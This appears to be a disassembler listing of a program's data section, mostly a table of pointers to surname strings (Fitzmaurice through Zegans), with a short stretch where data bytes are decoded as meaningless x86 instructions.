dd offset aFitzmaurice ; "Fitzmaurice"
dd offset aFlier ; "Flier"
dd offset aFlores ; "Flores"
dd offset aFolks ; "Folks"
dd offset aForester ; "Forester"
dd offset aFortes ; "Fortes"
dd offset aFortier ; "Fortier"
dd offset aFossey ; "Fossey"
dd offset aFossi ; "Fossi"
dd offset aFrancisco ; "Francisco"
dd offset aFranklinKenea ; "Franklin-Kenea"
dd offset aFranz ; "Franz"
dd offset aFrazierDavis ; "Frazier-Davis"
dd offset aFreid ; "Freid"
dd offset aFreundlich ; "Freundlich"
dd offset aFried ; "Fried"
dd offset aFriedland ; "Friedland"
dd offset aFrisken ; "Frisken"
dd offset aFrowiss ; "Frowiss"
dd offset aFryberger ; "Fryberger"
dd offset aFrye ; "Frye"
dd offset aFujiiAbe ; "Fujii-Abe"
dd offset aFuller ; "Fuller"
dd offset aFurth ; "Furth"
dd offset aFusaro ; "Fusaro"
dd offset aGabrielli ; "Gabrielli"
dd offset aGaggiotti ; "Gaggiotti"
dd offset aGaleotti ; "Galeotti"
dd offset aGalwey ; "Galwey"
dd offset aGambini ; "Gambini"
dd offset aGarfield ; "Garfield"
dd offset aGarman ; "Garman"
dd offset aGaronna ; "Garonna"
dd offset aGeller ; "Geller"
dd offset aGemberling ; "Gemberling"
dd offset aGeorgi ; "Georgi"
dd offset aGerrett ; "Gerrett"
dd offset aGhorai ; "Ghorai"
dd offset aGibbens ; "Gibbens"
dd offset aGibson ; "Gibson"
dd offset aGilbert ; "Gilbert"
dd offset aGili ; "Gili"
dd offset aGill ; "Gill"
dd offset aGillispie ; "Gillispie"
dd offset aGist ; "Gist"
dd offset aGleason ; "Gleason"
dd offset aGlegg ; "Glegg"
dd offset aGlendon ; "Glendon"
dd offset aGoldfarb ; "Goldfarb"
dd offset aGoncalves ; "Goncalves"
dd offset aGood ; "Good"
dd offset aGoodearl ; "Goodearl"
dd offset aGoody ; "Goody"
dd offset aGozzi ; "Gozzi"
dd offset aGravell ; "Gravell"
dd offset aGreenberg ; "Greenberg"
dd offset aGreenfeld ; "Greenfeld"
dd offset aGriffiths ; "Griffiths"
dd offset aGrigoletto ; "Grigoletto"
dd offset aGrummell ; "Grummell"
dd offset aGruner ; "Gruner"
dd offset aGruppe ; "Gruppe"
dd offset aGuenthart ; "Guenthart"
dd offset aGunn ; "Gunn"
dd offset aGuo ; "Guo"
dd offset aHa ; "Ha"
dd offset aHaar ; "Haar"
dd offset aHackman ; "Hackman"
dd offset aHackshaw ; "Hackshaw"
dd offset aHaley ; "Haley"
dd offset aHalkias ; "Halkias"
dd offset aHallowell ; "Hallowell"
dd offset aHalpert ; "Halpert"
dd offset aHambarzumjan ; "Hambarzumjan"
dd offset aHamer ; "Hamer"
dd offset aHammerness ; "Hammerness"
dd offset aHand ; "Hand"
dd offset aHanssen ; "Hanssen"
dd offset aHarding ; "Harding"
dd offset aHargraves ; "Hargraves"
dd offset aHarlow ; "Harlow"
dd offset aHarrigan ; "Harrigan"
dd offset aHartman ; "Hartman"
dd offset aHartmann ; "Hartmann"
dd offset aHartnett ; "Hartnett"
dd offset aHarwell ; "Harwell"
dd offset aHaviaras ; "Haviaras"
dd offset aHawkes ; "Hawkes"
dd offset aHayes ; "Hayes"
dd offset aHaynes ; "Haynes"
dd offset aHazlewood ; "Hazlewood"
dd offset aHeermans ; "Heermans"
dd offset aHeft ; "Heft"
dd offset aHeiland ; "Heiland"
dd offset aHellman ; "Hellman"
dd offset aHellmiss ; "Hellmiss"
dd offset aHelprin ; "Helprin"
dd offset aHemphill ; "Hemphill"
dd offset aHenery ; "Henery"
dd offset aHenrichs ; "Henrichs"
dd offset aHernandez ; "Hernandez"
dd offset aHerrera ; "Herrera"
dd offset aHester ; "Hester"
dd offset aHeubert ; "Heubert"
dd offset aHeyeck ; "Heyeck"
dd offset aHimmelfarb ; "Himmelfarb"
dd offset aHind ; "Hind"
dd offset aHirst ; "Hirst"
dd offset aHitchcock ; "Hitchcock"
dd offset aHoang ; "Hoang"
dd offset aHock ; "Hock"
dd offset aHoffer ; "Hoffer"
dd offset aHoffman ; "Hoffman"
dd offset aHokanson ; "Hokanson"
dd offset aHokoda ; "Hokoda"
dd offset aHolmes ; "Holmes"
dd offset aHoloien ; "Holoien"
dd offset aHolter ; "Holter"
dd offset aHolway ; "Holway"
dd offset aHolzman ; "Holzman"
dd offset aHooker ; "Hooker"
dd offset aHopkins ; "Hopkins"
dd offset aHorsley ; "Horsley"
dd offset aHoshida ; "Hoshida"
dd offset aHostage ; "Hostage"
dd offset aHottle ; "Hottle"
dd offset aHoward ; "Howard"
dd offset aHoy ; "Hoy"
dd offset aHuey ; "Huey"
dd offset aHuidekoper ; "Huidekoper"
dd offset aHungerford ; "Hungerford"
dd offset aHuntington ; "Huntington"
dd offset aHupp ; "Hupp"
dd offset aHurtubise ; "Hurtubise"
dd offset aHutchings ; "Hutchings"
dd offset aHyde ; "Hyde"
dd offset aIaquinta ; "Iaquinta"
dd offset aIchikawa ; "Ichikawa"
dd offset aIgarashi ; "Igarashi"
dd offset aInamura ; "Inamura"
dd offset aInniss ; "Inniss"
dd offset aIsaac ; "Isaac"
dd offset aIsaievych ; "Isaievych"
dd offset aIsbill ; "Isbill"
dd offset aIsserman ; "Isserman"
dd offset aIyer ; "Iyer"
dd offset aJacenko ; "Jacenko"
dd offset aJackson ; "Jackson"
dd offset aJagers ; "Jagers"
dd offset aJagger ; "Jagger"
dd offset aJagoe ; "Jagoe"
dd offset aJain ; "Jain"
dd offset aJamil ; "Jamil"
dd offset aJanjigian ; "Janjigian"
dd offset aJarnagin ; "Jarnagin"
dd offset aJarrell ; "Jarrell"
dd offset aJay ; "Jay"
dd offset aJeffers ; "Jeffers"
dd offset aJellis ; "Jellis"
dd offset aJenkins ; "Jenkins"
dd offset aJespersen ; "Jespersen"
dd offset aJewett ; "Jewett"
dd offset aJohannesson ; "Johannesson"
dd offset aJohannsen ; "Johannsen"
dd offset aJohns ; "Johns"
dd offset aJolly ; "Jolly"
dd offset aJorgensen ; "Jorgensen"
dd offset aJucks ; "Jucks"
dd offset aJuliano ; "Juliano"
dd offset aJulious ; "Julious"
dd offset aKabbash ; "Kabbash"
dd offset aKaboolian ; "Kaboolian"
dd offset aKafadar ; "Kafadar"
dd offset aKalbfleisch ; "Kalbfleisch"
dd offset aKaligian ; "Kaligian"
dd offset aKalil ; "Kalil"
dd offset aKalinowski ; "Kalinowski"
dd offset aKalman ; "Kalman"
dd offset aKamel ; "Kamel"
dd offset aKangis ; "Kangis"
dd offset aKarpouzes ; "Karpouzes"
dd offset aKassower ; "Kassower"
dd offset aKasten ; "Kasten"
dd offset aKawachi ; "Kawachi"
dd offset aKee ; "Kee"
dd offset aKeenan ; "Keenan"
dd offset aKeepper ; "Keepper"
dd offset aKeith ; "Keith"
dd offset aKelker ; "Kelker"
dd offset aKelsey ; "Kelsey"
dd offset aKempton ; "Kempton"
dd offset aKemsley ; "Kemsley"
dd offset aKendall ; "Kendall"
dd offset aKerry ; "Kerry"
dd offset aKeul ; "Keul"
dd offset aKhong ; "Khong"
dd offset aKimmel ; "Kimmel"
dd offset aKimmett ; "Kimmett"
dd offset aKimura ; "Kimura"
dd offset aKindall ; "Kindall"
dd offset aKinsley ; "Kinsley"
dd offset aKippenberger ; "Kippenberger"
dd offset aKirscht ; "Kirscht"
dd offset aKittridge ; "Kittridge"
dd offset aKleckner ; "Kleckner"
dd offset aKleiman ; "Kleiman"
dd offset aKleinfelder ; "Kleinfelder"
dd offset aKlemperer ; "Klemperer"
dd offset aKling ; "Kling"
dd offset aKlinkenborg ; "Klinkenborg"
dd offset aKlint ; "Klint"
dd offset aKnuff ; "Knuff"
dd offset aKobrick ; "Kobrick"
dd offset aKoch ; "Koch"
dd offset aKohn ; "Kohn"
dd offset aKoivumaki ; "Koivumaki"
dd offset aKommer ; "Kommer"
dd offset aKoniaris ; "Koniaris"
dd offset aKonrad ; "Konrad"
dd offset aKool ; "Kool"
dd offset aKorzybski ; "Korzybski"
dd offset aKotter ; "Kotter"
dd offset aKovaks ; "Kovaks"
dd offset aKraemer ; "Kraemer"
dd offset aKrailo ; "Krailo"
dd offset aKrasney ; "Krasney"
dd offset aKraus ; "Kraus"
dd offset aKroemer ; "Kroemer"
dd offset aKrysiak ; "Krysiak"
dd offset aKuenzli ; "Kuenzli"
dd offset aKumar ; "Kumar"
dd offset aKusman ; "Kusman"
dd offset aKuwabara ; "Kuwabara"
dd offset aLa ; "La"
dd offset aLabunka ; "Labunka"
dd offset aLafler ; "Lafler"
dd offset aLaing ; "Laing"
dd offset aLallemant ; "Lallemant"
dd offset aLandes ; "Landes"
dd offset aLankes ; "Lankes"
dd offset aLantieri ; "Lantieri"
dd offset aLanzit ; "Lanzit"
dd offset aLaserna ; "Laserna"
dd offset aLashley ; "Lashley"
dd offset aLawless ; "Lawless"
dd offset aLecar ; "Lecar"
dd offset aLecce ; "Lecce"
dd offset aLeclercq ; "Leclercq"
dd offset aLeite ; "Leite"
dd offset aLenard ; "Lenard"
dd offset aLEnclos ; "l'Enclos"
dd offset aLesser ; "Lesser"
dd offset aLessi ; "Lessi"
dd offset aLiakos ; "Liakos"
dd offset aLidano ; "Lidano"
dd offset aLiem ; "Liem"
dd offset aLight ; "Light"
dd offset aLightfoot ; "Lightfoot"
dd offset aLim ; "Lim"
dd offset aLinares ; "Linares"
dd offset aLinda ; "Linda"
dd offset aLinder ; "Linder"
dd offset aLine ; "Line"
dd offset aLinehan ; "Linehan"
dd offset aLinzee ; "Linzee"
dd offset aLippmann ; "Lippmann"
dd offset aLipponen ; "Lipponen"
dd offset aLittle ; "Little"
dd offset aLitvak ; "Litvak"
dd offset aLivernash ; "Livernash"
dd offset aLivi ; "Livi"
dd offset aLivolsi ; "Livolsi"
dd offset aLizardo ; "Lizardo"
dd offset aLocatelli ; "Locatelli"
dd offset aLongworth ; "Longworth"
dd offset aLoss ; "Loss"
dd offset aLoveman ; "Loveman"
dd offset aLowenstein ; "Lowenstein"
dd offset aLoza ; "Loza"
dd offset aLubin ; "Lubin"
dd offset aLucas ; "Lucas"
dd offset aLuciano ; "Luciano"
dd offset aLuczkow ; "Luczkow"
dd offset aLuecke ; "Luecke"
dd offset aLunetta ; "Lunetta"
dd offset aLuoma ; "Luoma"
dd offset aLussier ; "Lussier"
dd offset aLutcavage ; "Lutcavage"
dd offset aLuzader ; "Luzader"
dd offset aMa ; "Ma"
dd offset aMaccormac ; "Maccormac"
dd offset aMacdonald ; "Macdonald"
dd offset aMaceachern ; "Maceachern"
dd offset aMacintyre ; "Macintyre"
dd offset aMackenney ; "Mackenney"
dd offset aMacmillan ; "MacMillan"
dd offset aMacy ; "Macy"
dd offset aMadigan ; "Madigan"
dd offset aMaggio ; "Maggio"
dd offset aMahony ; "Mahony"
dd offset aMaier ; "Maier"
dd offset aMaineHershey ; "Maine-Hershey"
dd offset aMaisano ; "Maisano"
dd offset aMalatesta ; "Malatesta"
dd offset aMaller ; "Maller"
dd offset aMalova ; "Malova"
dd offset aManalis ; "Manalis"
dd offset aMandel ; "Mandel"
dd offset aManganiello ; "Manganiello"
dd offset aMantovan ; "Mantovan"
dd offset aMarch ; "March"
dd offset aMarchbanks ; "Marchbanks"
dd offset aMarcus ; "Marcus"
dd offset aMargalit ; "Margalit"
dd offset aMargetts ; "Margetts"
dd offset aMarques ; "Marques"
dd offset aMartinez ; "Martinez"
dd offset aMartochio ; "Martochio"
dd offset aMarton ; "Marton"
dd offset aMarubini ; "Marubini"
dd offset aMass ; "Mass"
dd offset aMatalka ; "Matalka"
dd offset aMatarazzo ; "Matarazzo"
dd offset aMatsukata ; "Matsukata"
dd offset aMattson ; "Mattson"
dd offset aMauzy ; "Mauzy"
dd offset aMay ; "May"
dd offset aMazzali ; "Mazzali"
dd offset aMazziotta ; "Mazziotta"
dd offset aMcbride ; "Mcbride"
dd offset aMccaffery ; "Mccaffery"
dd offset aMccall ; "Mccall"
dd offset aMcclearn ; "Mcclearn"
dd offset aMcdowell ; "Mcdowell"
dd offset aMcelroy ; "Mcelroy"
dd offset aMcfadden ; "McFadden"
dd offset aMcghee ; "Mcghee"
dd offset aMcgoldrick ; "Mcgoldrick"
dd offset aMcilroy ; "McIlroy"
dd offset aMcintosh ; "Mcintosh"
dd offset aMckenna ; "Mckenna"
dd offset aMclane ; "Mclane"
dd offset aMclaren ; "Mclaren"
dd offset aMcnealy ; "Mcnealy"
dd offset aMcnulty ; "Mcnulty"
dd offset aMeccariello ; "Meccariello"
dd offset aMemisoglu ; "Memisoglu"
dd offset aMenzies ; "Menzies"
dd offset aMerikoski ; "Merikoski"
dd offset aMerlani ; "Merlani"
dd offset aMerminod ; "Merminod"
dd offset aMerseth ; "Merseth"
dd offset aMerz ; "Merz"
dd offset aMetelka ; "Metelka"
dd offset aMetropolis ; "Metropolis"
dd offset aMeurer ; "Meurer"
dd offset aMichelman ; "Michelman"
dd offset aMiddle ; "Middle"
dd offset aMieher ; "Mieher"
dd offset aMills ; "Mills"
dd offset aMinh ; "Minh"
dd offset aMini ; "Mini"
dd offset aMinichiello ; "Minichiello"
dd offset aGonzalez ; "Gonzalez"
dd offset aMitropoulos ; "Mitropoulos"
dd offset aMittal ; "Mittal"
dd offset aMocroft ; "Mocroft"
dd offset aModestino ; "Modestino"
dd offset aMoeller ; "Moeller"
dd offset aMohr ; "Mohr"
dd offset aMoiamedi ; "Moiamedi"
dd offset aMonque ; "Monque"
dd offset aMontilio ; "Montilio"
dd offset aMooredech_ ; "MooreDeCh."
dd offset aMorani ; "Morani"
dd offset aMoreton ; "Moreton"
dd offset aMorrison ; "Morrison"
dd offset aMorrow ; "Morrow"
dd offset aMortimer ; "Mortimer"
dd offset aMosher ; "Mosher"
dd offset aMosler ; "Mosler"
dd offset aMostafavi ; "Mostafavi"
dd offset aMotooka ; "Motooka"
dd offset aMudarri ; "Mudarri"
dd offset aMuello ; "Muello"
dd offset aMugnai ; "Mugnai"
dd offset aMulkern ; "Mulkern"
dd offset aMulroy ; "Mulroy"
dd offset aMumford ; "Mumford"
dd offset aMussachio ; "Mussachio"
dd offset aNaddeo ; "Naddeo"
dd offset aNapolitano ; "Napolitano"
dd offset aNardi ; "Nardi"
dd offset aNardone ; "Nardone"
dd offset aNaviaux ; "Naviaux"
dd offset aNayduch ; "Nayduch"
dd offset aNelson ; "Nelson"
dd offset aNenna ; "Nenna"
dd offset aNesci ; "Nesci"
dd offset aNeuman ; "Neuman"
dd offset aNewfeld ; "Newfeld"
dd offset aNewlin ; "Newlin"
dd offset aNg ; "Ng"
dd offset aNi_0 ; "Ni"
dd offset aNickerson ; "Nickerson"
dd offset aNickoloff ; "Nickoloff"
dd offset aNisenson ; "Nisenson"
dd offset aNitabach ; "Nitabach"
dd offset aNotman ; "Notman"
dd offset aNuzum ; "Nuzum"
dd offset aOcougne ; "Ocougne"
dd offset aOgata ; "Ogata"
dd offset aOh ; "Oh"
dd offset aOHagan ; "O'hagan"
dd offset aOldford ; "Oldford"
dd offset aOlsen ; "Olsen"
dd offset aOlson ; "Olson"
dd offset aOlszewski ; "Olszewski"
dd offset aOMalley ; "O'malley"
dd offset aOman ; "Oman"
dd offset aOMeara ; "O'meara"
dd offset aOpel ; "Opel"
dd offset aOray ; "Oray"
dd offset aOrfield ; "Orfield"
dd offset aOrsi ; "Orsi"
dd offset aOspina ; "Ospina"
dd offset aOstrowski ; "Ostrowski"
dd offset aOttaviani ; "Ottaviani"
dd offset aOtten ; "Otten"
dd offset aOuchida ; "Ouchida"
dd offset aOvid ; "Ovid"
dd offset aPaesdealmeida ; "PaesDealmeida"
dd offset aPaine ; "Paine"
dd offset aPalayoor ; "Palayoor"
dd offset aPalepu ; "Palepu"
dd offset aPallara ; "Pallara"
dd offset aPalmitesta ; "Palmitesta"
dd offset aPanadero ; "Panadero"
dd offset aPanizzon ; "Panizzon"
dd offset aPantilla ; "Pantilla"
dd offset aPaoletti ; "Paoletti"
dd offset aParmeggiani ; "Parmeggiani"
dd offset aParris ; "Parris"
dd offset aPartridge ; "Partridge"
dd offset aPascucci ; "Pascucci"
dd offset aPatefield ; "Patefield"
dd offset aPatrick ; "Patrick"
dd offset aPattullo ; "Pattullo"
dd offset aPavetti ; "Pavetti"
dd offset aPavlon ; "Pavlon"
dd offset aPawloski ; "Pawloski"
dd offset aPaynter ; "Paynter"
dd offset aPeabody ; "Peabody"
dd offset aPearlberg ; "Pearlberg"
dd offset aPederson ; "Pederson"
dd offset aPeishel ; "Peishel"
dd offset aPenny ; "Penny"
dd offset aPereira ; "Pereira"
dd offset aPerko ; "Perko"
dd offset aPerlak ; "Perlak"
dd offset aPerlman ; "Perlman"
dd offset aPerna ; "Perna"
dd offset aPerone ; "Perone"
dd offset aPerrimon ; "Perrimon"
dd offset aPeters ; "Peters"
dd offset aPetruzello ; "Petruzello"
dd offset aPettibone ; "Pettibone"
dd offset aPettit ; "Pettit"
dd offset aPfister ; "Pfister"
dd offset aPilbeam ; "Pilbeam"
dd offset aPinot ; "Pinot"
dd offset aPlancon ; "Plancon"
dd offset aPlant ; "Plant"
dd offset aPlasket ; "Plasket"
dd offset aPlous ; "Plous"
dd offset aPo ; "Po"
dd offset aPocobene ; "Pocobene"
dd offset aPoincaire ; "Poincaire"
dd offset aPointer ; "Pointer"
dd offset aPoirier ; "Poirier"
dd offset aPolak ; "Polak"
dd offset aPolanyi ; "Polanyi"
dd offset aPolitis ; "Politis"
dd offset aPoma ; "Poma"
dd offset aPoolman ; "Poolman"
dd offset aPowers ; "Powers"
dd offset aPresper ; "Presper"
dd offset aPreucel ; "Preucel"
dd offset aPrevost ; "Prevost"
dd offset aPritchard ; "Pritchard"
dd offset aPritz ; "Pritz"
dd offset aProietti ; "Proietti"
dd offset aProthrowStith ; "Prothrow-Stith"
dd offset aPuccia ; "Puccia"
dd offset aPugh ; "Pugh"
dd offset aPynchon ; "Pynchon"
dd offset aQuaday ; "Quaday"
dd offset aQuetin ; "Quetin"
dd offset aRabe ; "Rabe"
dd offset aRabkin ; "Rabkin"
dd offset aRadeke ; "Radeke"
dd offset aRajagopalan ; "Rajagopalan"
dd offset aRaney ; "Raney"
dd offset aRangan ; "Rangan"
dd offset aRankin ; "Rankin"
dd offset aRapple ; "Rapple"
dd offset aRayport ; "Rayport"
dd offset aReddenTyler ; "Redden-Tyler"
dd offset aReedquist ; "Reedquist"
dd offset aCunningham ; "Cunningham"
dd offset aReinold ; "Reinold"
dd offset aRemak ; "Remak"
dd offset aRenick ; "Renick"
dd offset aRepetto ; "Repetto"
dd offset aResnik ; "Resnik"
dd offset aRhea ; "Rhea"
dd offset aRichmond ; "Richmond"
dd offset aRielly ; "Rielly"
dd offset aRindos ; "Rindos"
dd offset aRineer ; "Rineer"
dd offset aRish ; "Rish"
dd offset aRivera ; "Rivera"
dd offset aRobinson ; "Robinson"
dd offset aRocha ; "Rocha"
dd offset aRoesler ; "Roesler"
dd offset aRogers ; "Rogers"
dd offset aRonen ; "Ronen"
dd offset aRow ; "Row"
dd offset aRoyal ; "Royal"
dd offset aRu ; "Ru"
dd offset aRuan ; "Ruan"
dd offset aRuderman ; "Ruderman"
dd offset aRuescher ; "Ruescher"
dd offset aRush ; "Rush"
dd offset aRyu ; "Ryu"
dd offset aSabatello ; "Sabatello"
dd offset aSadler ; "Sadler"
dd offset aSafire ; "Safire"
dd offset aSahu ; "Sahu"
dd offset aSali ; "Sali"
dd offset aSamson ; "Samson"
dd offset aSanchezRamirez ; "Sanchez-Ramirez"
dd offset aSanna ; "Sanna"
dd offset aSapers ; "Sapers"
dd offset aSarin ; "Sarin"
dd offset aSartore ; "Sartore"
dd offset aSase ; "Sase"
dd offset aSatin ; "Satin"
dd offset aSatta ; "Satta"
dd offset aSatterthwaite ; "Satterthwaite"
dd offset aSawtell ; "Sawtell"
dd offset aSayied ; "Sayied"
dd offset aScarponi ; "Scarponi"
dd offset aScepan ; "Scepan"
dd offset aScharf ; "Scharf"
dd offset aScharlemann ; "Scharlemann"
dd offset aScheiner ; "Scheiner"
dd offset aSchiano ; "Schiano"
dd offset aSchifini ; "Schifini"
dd offset aSchilling ; "Schilling"
dd offset aSchmitt ; "Schmitt"
dd offset aSchossberger ; "Schossberger"
dd offset aSchuman ; "Schuman"
dd offset aSchutte ; "Schutte"
dd offset aSchuyler ; "Schuyler"
dd offset aSchwan ; "Schwan"
dd offset aSchwickrath ; "Schwickrath"
dd offset aScovel ; "Scovel"
dd offset aScudder ; "Scudder"
dd offset aSeaton ; "Seaton"
dd offset aSeeber ; "Seeber"
dd offset aSegal ; "Segal"
dd offset aSekler ; "Sekler"
dd offset aSelvage ; "Selvage"
dd offset aSen ; "Sen"
dd offset aSennett ; "Sennett"
dd offset aSeterdahl ; "Seterdahl"
dd offset aSexton ; "Sexton"
dd offset aSeyfert ; "Seyfert"
dd offset aShaikh ; "Shaikh"
dd offset aShakis ; "Shakis"
dd offset aShankland ; "Shankland"
dd offset aShanley ; "Shanley"
dd offset aShar ; "Shar"
dd offset aShatrov ; "Shatrov"
dd offset aShavelson ; "Shavelson"
dd offset aShea ; "Shea"
dd offset aSheats ; "Sheats"
dd offset aShepherd ; "Shepherd"
dd offset aSheppard ; "Sheppard"
dd offset aShepstone ; "Shepstone"
dd offset aShesko ; "Shesko"
dd offset aShia ; "Shia"
dd offset aShibata ; "Shibata"
dd offset aShimon ; "Shimon"
dd offset aSiesto ; "Siesto"
dd offset aSigalot ; "Sigalot"
dd offset aSigini ; "Sigini"
dd offset aSigna ; "Signa"
dd offset aSilverman ; "Silverman"
dd offset aSilvetti ; "Silvetti"
dd offset aSinsabaugh ; "Sinsabaugh"
dd offset aSirilli ; "Sirilli"
dd offset aSites ; "Sites"
dd offset aSkane ; "Skane"
dd offset aSkerry ; "Skerry"
dd offset aSkoda ; "Skoda"
dd offset aSloan ; "Sloan"
dd offset aSlowe ; "Slowe"
dd offset aSmilow ; "Smilow"
dd offset aSniffen ; "Sniffen"
dd offset aSnodgrass ; "Snodgrass"
dd offset aSocolow ; "Socolow"
dd offset aSolon ; "Solon"
dd offset aSomers ; "Somers"
dd offset aSommariva ; "Sommariva"
dd offset aSorabella ; "Sorabella"
dd offset aSorg ; "Sorg"
dd offset aSottak ; "Sottak"
dd offset aSoukup ; "Soukup"
dd offset aSoule ; "Soule"
dd offset aSoultanian ; "Soultanian"
dd offset aSpanier ; "Spanier"
dd offset aSparrow ; "Sparrow"
dd offset aSpaulding ; "Spaulding"
dd offset aSpeizer ; "Speizer"
dd offset aSpence ; "Spence"
dd offset aSperber ; "Sperber"
dd offset aSpicer ; "Spicer"
dd offset aSpiegelhalter ; "Spiegelhalter"
dd offset aSpiliotis ; "Spiliotis"
dd offset aSpinrad ; "Spinrad"
dd offset aStmartin ; "StMartin"
dd offset aStalvey ; "Stalvey"
dd offset aStam ; "Stam"
dd offset aStang ; "Stang"
dd offset aStassinopolus ; "Stassinopolus"
dd offset aStates ; "States"
dd offset aStatlender ; "Statlender"
dd offset aStefani ; "Stefani"
dd offset aSteiner ; "Steiner"
dd offset aStephanian ; "Stephanian"
dd offset aStepniewska ; "Stepniewska"
dd offset aStewartOaten ; "Stewart-Oaten"
dd offset aStiepock ; "Stiepock"
dd offset aStillwell ; "Stillwell"
dd offset aStock ; "Stock"
dd offset aStockton ; "Stockton"
dd offset aStockwell ; "Stockwell"
dd offset aStolzenberg ; "Stolzenberg"
dd offset aStonich ; "Stonich"
dd offset aStorer ; "Storer"
dd offset aStott ; "Stott"
dd offset aStrange ; "Strange"
dd offset aStrauch ; "Strauch"
dd offset aStreiff ; "Streiff"
dd offset aStringer ; "Stringer"
dd offset aSullivan ; "Sullivan"
dd offset aSumner ; "Sumner"
dd offset aSuo ; "Suo"
dd offset aSurdam ; "Surdam"
dd offset aSweeting ; "Sweeting"
dd offset aSweetser ; "Sweetser"
dd offset aSwindle ; "Swindle"
dd offset aTagiuri ; "Tagiuri"
dd offset aTai ; "Tai"
dd offset aTalaugon ; "Talaugon"
dd offset aTambiah ; "Tambiah"
dd offset aTandler ; "Tandler"
dd offset aTanowitz ; "Tanowitz"
dd offset aTatar ; "Tatar"
dd offset aTaveras ; "Taveras"
dd offset aTawn ; "Tawn"
dd offset aTcherepnin ; "Tcherepnin"
dd offset aTeague ; "Teague"
dd offset aTemes ; "Temes"
dd offset aTemmer ; "Temmer"
dd offset aTenney ; "Tenney"
dd offset aTerracini ; "Terracini"
dd offset aThan ; "Than"
dd offset aThavaneswaran ; "Thavaneswaran"
dd offset aTheodos ; "Theodos"
dd offset aThibault ; "Thibault"
dd offset aThisted ; "Thisted"
dd offset aThomsen ; "Thomsen"
dd offset aThroop ; "Throop"
dd offset aTierney ; "Tierney"
dd offset aTill ; "Till"
dd offset aTimmons ; "Timmons"
dd offset aTofallis ; "Tofallis"
dd offset aTollestrup ; "Tollestrup"
dd offset aTolls ; "Tolls"
dd offset aTolman ; "Tolman"
dd offset aTomford ; "Tomford"
dd offset aToomer ; "Toomer"
dd offset aTopulos ; "Topulos"
dd offset aTorresi ; "Torresi"
dd offset aTorske ; "Torske"
dd offset aTowler ; "Towler"
dd offset aToye ; "Toye"
dd offset aTraebert ; "Traebert"
dd offset aTrenga ; "Trenga"
dd offset aTrewin ; "Trewin"
; ---------------------------------------------------------------------------
fsubr st, st(3)
inc edx
add al, dl
jmp short loc_42E6E1
; ---------------------------------------------------------------------------
align 10h
enter 42EBh, 0
shr bl, 42h
add [eax-53FFBD15h], bh
jmp short loc_42E6F1
; ---------------------------------------------------------------------------
align 10h
mov al, ds:980042EBh
loc_42E6B5: ; CODE XREF: ___:0042E6C8j
jmp short loc_42E6F9
; ---------------------------------------------------------------------------
align 4
dd offset aTudge ; "Tudge"
; ---------------------------------------------------------------------------
mov bl, ch
inc edx
add [eax+780042EBh], al
jmp short loc_42E709
; ---------------------------------------------------------------------------
align 4
jo short loc_42E6B5
inc edx
add [eax-15h], ch
inc edx
add [ebx+ebp*8+42h], bl
add [ebx+ebp*8+42h], dl
add [eax-15h], cl
inc edx
add [eax-15h], al
inc edx
add [eax], bh
loc_42E6E1: ; CODE XREF: ___:0042E69Dj
jmp short loc_42E725
; ---------------------------------------------------------------------------
align 4
sub bl, ch
inc edx
add [eax], ah
jmp short loc_42E72D
; ---------------------------------------------------------------------------
align 4
sbb bl, ch
inc edx
add [eax], dl
loc_42E6F1: ; CODE XREF: ___:0042E6ADj
jmp short loc_42E735
; ---------------------------------------------------------------------------
align 4
dd offset aWaite ; "Waite"
db 0
; ---------------------------------------------------------------------------
loc_42E6F9: ; CODE XREF: ___:loc_42E6B5j
jmp short loc_42E73D
; ---------------------------------------------------------------------------
align 4
dd offset aValencia ; "Valencia"
dd offset aWales ; "Wales"
dd offset aWallenberg ; "Wallenberg"
db 0D8h
; ---------------------------------------------------------------------------
loc_42E709: ; CODE XREF: ___:0042E6C5j
jmp far ptr 42h:0EACC0042h
; ---------------------------------------------------------------------------
dd offset aVanzwet ; "VanZwet"
dd offset aVandenberg ; "Vandenberg"
dd offset aVanheeckeren ; "Vanheeckeren"
dd offset aWarshafsky ; "Warshafsky"
dd offset aWasowska ; "Wasowska"
db 88h
; ---------------------------------------------------------------------------
loc_42E725: ; CODE XREF: ___:loc_42E6E1j
jmp far ptr 42h:0EA800042h
; ---------------------------------------------------------------------------
db 74h
; ---------------------------------------------------------------------------
loc_42E72D: ; CODE XREF: ___:0042E6E9j
jmp far ptr 42h:0EA680042h
; ---------------------------------------------------------------------------
pop esp
loc_42E735: ; CODE XREF: ___:loc_42E6F1j
jmp far ptr 42h:0EA500042h
; ---------------------------------------------------------------------------
db 44h
; ---------------------------------------------------------------------------
loc_42E73D: ; CODE XREF: ___:loc_42E6F9j
jmp far ptr 42h:0EA380042h
; ---------------------------------------------------------------------------
dd offset aWelles ; "Welles"
dd offset aWelsh ; "Welsh"
dd offset aWengret ; "Wengret"
dd offset aVenne ; "Venne"
dd offset aVerghese ; "Verghese"
dd offset aWescott ; "Wescott"
dd offset aWetzel ; "Wetzel"
dd offset aWhately ; "Whately"
dd offset aWhilton ; "Whilton"
dd offset aWhite ; "White"
dd offset aWhitla ; "Whitla"
dd offset aWhittaker ; "Whittaker"
dd offset aViana ; "Viana"
dd offset aViano ; "Viano"
dd offset aWiedersheim ; "Wiedersheim"
dd offset aWiener ; "Wiener"
dd offset aViens ; "Viens"
dd offset aVignola ; "Vignola"
dd offset aWilder ; "Wilder"
dd offset aWilhelm ; "Wilhelm"
dd offset aWilk ; "Wilk"
dd offset aWilkin ; "Wilkin"
dd offset aWilkinson ; "Wilkinson"
dd offset aVillarreal ; "Villarreal"
dd offset aWillstatter ; "Willstatter"
dd offset aWilson ; "Wilson"
dd offset aVitali ; "Vitali"
dd offset aViviani ; "Viviani"
dd offset aVoigt ; "Voigt"
dd offset aWolk ; "Wolk"
dd offset aVonhoffman ; "VonHoffman"
dd offset aWoo ; "Woo"
dd offset aWooden ; "Wooden"
dd offset aWoods ; "Woods"
dd offset aWoodsPowell ; "Woods-Powell"
dd offset aVorhaus ; "Vorhaus"
dd offset aVotey ; "Votey"
dd offset aYacono ; "Yacono"
dd offset aYamane ; "Yamane"
dd offset aYankee ; "Yankee"
dd offset aYarchuk ; "Yarchuk"
dd offset aYates ; "Yates"
dd offset aYbarra ; "Ybarra"
dd offset aYedidia ; "Yedidia"
dd offset aYesson ; "Yesson"
dd offset aYetiv ; "Yetiv"
dd offset aYoffe ; "Yoffe"
dd offset aYoo ; "Yoo"
dd offset aYoukSee ; "Youk-See"
dd offset aYu ; "Yu"
dd offset aZachary ; "Zachary"
dd offset aZahedi ; "Zahedi"
dd offset aZangwill ; "Zangwill"
dd offset aZegans ; "Zegans"
